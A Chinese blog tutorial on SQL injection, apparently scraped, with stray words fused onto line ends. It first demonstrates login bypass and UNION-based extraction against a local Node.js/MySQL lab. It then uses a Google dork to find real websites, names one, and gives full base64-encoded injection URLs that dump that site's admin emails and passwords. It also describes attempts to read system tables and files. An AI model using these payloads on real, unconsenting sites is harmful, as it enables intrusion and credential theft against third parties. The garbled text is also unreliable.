本文所用代碼的代碼庫地址:javascript
定義php
SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最多見的一種安全漏洞。能夠用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操做,甚至有可能獲取數據庫乃至系統用戶最高權限。html
原理java
形成SQL注入的緣由是由於程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收後錯誤的將攻擊者的輸入做爲查詢語句的一部分執行,致使原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
從本質上來講,SQL注入和XSS注入很類似,都是由於沒有作好對用戶的輸入控制而致使的錯誤。node
sudo apt-get update sudo apt-get install postgresql pgadmin3 sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start sudo netstat -aWn --programs | grep postgres
sudo apt-get update sudo apt-get install mysql-server
sudo su su postgres psql create database virustest
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz tar -xf node-v6.9.1-linux-x64.tar.xz cd node-v6.9.1-linux-x64.tar.xz/bin ln -s ***** /usr/local/bin/node ln -s ***** /usr/local/bin/npm
models/index.js
、models/migrate.js
、models/User.js
建立以下圖所示的User表:account | password |
---|---|
test0 | 1234560 |
test1 | 1234561 |
test2 | 1234562 |
node models/migrate
初始化數據庫first/index.js
定義簡單的服務器views/index.html
定義簡單的登陸頁面npm install
數據庫初始化完成後,咱們來開心的模擬一次經典的登陸注入操做 :使用' or 1=1#
繞過用戶名和密碼驗證直接登陸。mysql
啓動服務器 node first/index.js
,訪問http://localhost:5000/
看到以下網頁
linux
輸入 account : test0
, password : 1234560
,能夠發現登陸成功git
輸入 account : test0
, password : wrongPassword
,能夠發現登陸失敗github
輸入 account : ' or 1=1#
, password : test
,能夠發現登陸成功!!!sql
咱們來看看後臺代碼中對用戶輸入的用戶名和密碼進行驗證的的SQL語句:
`select * from Users where account ='${account}' and password='${password}'`
咱們將account:' or 1=1#
,password:test
的值帶入,這條語句變成了:
select * from users where account = '' or 1=1 #' and password='test'
能夠看到:
account='' or 1 = 1
永遠成立。#
後面的語句所有變成了註釋(mysql能夠用#號來註釋代碼),不會影響代碼正確運行,服務器不會返回500。這個注入可以成功的緣由就在於——靈活使用'
字符和#
字符。
node models/migrate
初始化數據庫router.get("/article",function *(){ var ctx = this; var query = ctx.request.query; var articleId = query.id || 1; debug("SQL",`select * from Articles where id = ${articleId}`); var data = yield db.query(`select * from Articles where id = ${articleId}`,{ type: db.QueryTypes.SELECT }); data = data.length !== 0 ? data[data.length - 1] : { title : "沒有這個文章", content :"<p>沒有這個文章</p>" }; // debug(data); yield ctx.render("index.html", data); })
此路由函數會先接收GET參數傳來的id,使用SQL對id進行查詢,將查詢到的數據渲染到html返回給瀏覽器端。
node first/index.js
,訪問http://localhost:3030/article?id=1
,能夠看到以下圖所示的界面:http://localhost:3030/article?id=3/*ABC*/
,能夠發現返回的頁面沒有變化,這說明後臺對輸入沒有過濾,這裏是能夠注入的。http://localhost:3030/article?id=3 and 1=2
,能夠發現頁面顯示沒有文章,由於1=2的判斷致使SQL的Where子句永遠爲false,因此沒有文章返回。http://localhost:3030/article?id=3 and 1=1 union select 1 http://localhost:3030/article?id=3 and 1=1 union select 1,2 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
前四步都顯示:
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
成功,這是由於Articles表的列數就是5,訪問這樣的網址,後臺實際執行的SQL語句及其結果以下圖所示:
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5
,咱們發現頁面展現的仍是id=3的文章,查看路由處理的代碼:http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC
訪問上述網址,後臺執行的SQL語句及其結果以下圖所示
因此頁面的返回結果是:
咱們能夠看到咱們傳給後端的2,3分別在這裏被展現在了頁面上。
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC
咱們就能夠看到數據庫的版本和數據表的名稱:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC
其中的order by rand()
能夠幫助咱們隨機地看到數據庫中有哪些表,咱們多訪問幾回,就能夠看到有一個Users表:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()
因爲有order by rand()
,多訪問幾回,咱們就能夠陸續看到全部的列名,有兩個字段咱們比較感興趣:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC
訪問結果以下圖所示:
使用Google搜索inurl:.php?id=MTM=
,這裏inurl指的是在url內有後面字符串的網站,後面的id=MTM=是指base64加密後的id=13,代表網站對URL進行了base64處理。Google查詢出來結果以下:
我本身通過刪選測試,選取了兩個網站:
本次就對這兩個網站進行破解,先回顧一下咱們上次本身研究的幾個破解步驟:
咱們藉助http://www1.tc711.com/tool/BASE64.htm這個base64工具進行base64加解密
id=13 and 1=2
,返回的結果以下圖,代表是此網站能夠注入的id=13 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
,結果以下圖所示,能夠看到有頁面有九個顯示位,顯示位不少,就不須要concat()函數將多條數據拼接到一塊兒了id=13 and 1=1 union select 1,database(),3,4,5,6,7,8,9,10,version(),12,13,14,15
,咱們能夠看到以下圖的結果,代表數據庫的名稱是csearch,版本是4.0.25id=13 and 1=1 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15 from information_shcema
,結果居然是沒有權限!!!測試可否被注入,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9Mg==,base64串的含義是id=13 and 1=2
,結果以下,能夠發現頁面沒有顯示,證實是能夠注入的
經過union測表的列數,從1到30挨個測試,最後得知列數是7,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNw==,結果以下圖所示,能夠看到有三個顯示位
經過mysql函數獲得數據庫的名稱,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSw0LDUsNiw3,base64串的含義是id=14 and 1=2 union select 1,database(),version(),4,5,6,7
,訪問結果以下圖,獲得數據庫的名稱是zaaffran_zaaffran,數據庫版本是5.5.2
經過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXM=,base64串的含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables
,能夠看到五個數據表:
因爲這裏只顯示了五張表,並且都是系統自帶的表,對我來講沒有什麼用處,因而嘗試了使用order by table_type,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgdGFibGVfdHlwZQ==,base64串的含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by table_type
limit 5
這個子句,因爲SQL語法不容許order by
子句在limit
子句前面,因此網站發生了錯誤。訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLHRhYmxlX25hbWUsNCw1LDYsNyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgb3JkZXIgYnkgMSM=,base64串含義是id=14 and 1=2 union select 1,2,table_name,4,5,6,7 from information_schema.tables order by 1#
,此次顯示結果以下,成功了!
同時咱們搜索到了adminusers表這個敏感的表,我決定對這個表進行查詢,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLGNvbHVtbl9uYW1lLDQsNSw2LDcgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdhZG1pbnVzZXJzJyBvcmRlciBieSAxIw==,base64含義是14 and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name='adminusers' order by 1#
,能夠看到以下圖全部的表段
獲取想要的數據,訪問http://www.zaaffran.com/testimonials.php?id=MTQgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLFVzZXJFbWFpbCxVc2VyUGFzc3dvcmQsNSw2LDcgZnJvbSBhZG1pbnVzZXJzIw==,base64串含義是14 and 1=2 union select 1,2,UserEmail,UserPassword,5,6,7 from adminusers#
,能夠看到adminusers表裏面的全部數據
咱們進行了兩次對互聯網網站的SQL注入,第一次不是很成功,第三次好歹是拿到數據了,嘗試了一下擴大戰果,select user,password from mysql.user
,失敗= - =,估計是沒有權限。select hex(load_file())的方法也是失敗,畢竟mysql版本是5.5,安全級別較高,想要load_file()仍是很難的。
經過以上的實踐,咱們能夠總結出一些防範SQL注入的方法:
在Restful API的時代,開發者在開發一個項目的時常常用到相似於id=?或者title=?這樣的GET參數查詢,後端通訊可能會有不少這樣的漏洞,而這樣的漏洞形成的後果每每是災難性的。開發者尤爲是後端開發者必定要注意哦!